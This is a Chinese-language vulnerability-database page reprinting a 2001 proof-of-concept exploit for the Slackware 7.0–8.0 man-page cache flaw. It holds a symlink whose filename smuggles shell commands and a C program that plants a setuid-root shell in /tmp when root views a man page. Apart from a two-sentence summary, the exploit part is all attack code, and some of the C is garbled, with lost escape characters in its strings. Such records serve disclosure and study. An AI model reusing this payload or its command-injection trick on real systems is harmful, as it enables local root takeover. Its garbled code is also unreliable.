Slackware 7.0/7.1/8.0 – Manual Page Cache File Creation
漏洞ID | 1053547 | 漏洞类型 | |
发布时间 | 2001-07-17 | 更新时间 | 2001-07-17 |
CVE编号 | N/A |
CNNVD-ID | N/A |
漏洞平台 | Linux | CVSS评分 | N/A |
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/3054/info
Slackware Linux contains a configuration error that enables local users to create files in the directory used by the system manual pager ('man') for cache files.
Due to the behaviour of the 'man' program, it may be possible for an attacker to create a malicious cache file causing the execution of arbitrary code when another user views a manual page corresponding to that cache file.
ln -s "/usr/man/man7/man.7.gz;cd;cd ..;cd ..;cd ..;cd ..;cd tmp;export PATH=.;script;man.7" /var/man/cat7/man.7.gz
When `/usr/bin/man man` is executed by root, it will create
/var/man/cat7/man.1.gz. The symlink forces it to create a file in /usr/man/man7 named:
"/usr/man/man7/man.7.gz;cd;cd ..;cd ..;cd ..;cd ..;cd tmp;exportPATH=.;script;man.7.gz."
/usr/bin/man will then execute /tmp/script which contains:
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <errno.h>
int main()
{
FILE *fil;
mode_t perm = 06711;
if(!getuid()) {
fil = fopen("/tmp/bleh.c","w");
fprintf(fil,"%sn","#include <unistd.h>");
fprintf(fil,"%sn","#include <stdio.h>");
fprintf(fil,"%sn","int main() {");
fprintf(fil,"%sn","setreuid(0,0);setregid(0,0);");
fprintf(fil,"%sn","execl("/bin/su","su",NULL);");
fprintf(fil,"%sn","return 0; }");
fclose(fil);
system("/usr/bin/gcc -o /tmp/bleh /tmp/bleh.c");
unlink("/tmp/bleh.c");
chmod("/tmp/bleh", perm);
}
execl("/usr/bin/man","man","/usr/man/man7/man.7.gz",NULL);
return 0;
}
相关推荐: Solaris libc/libnsl Vulnerability
Solaris libc/libnsl Vulnerability 漏洞ID 1105151 漏洞类型 Boundary Condition Error 发布时间 1995-10-11 更新时间 1995-10-11 CVE编号 N/A CNNVD-ID N/…
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666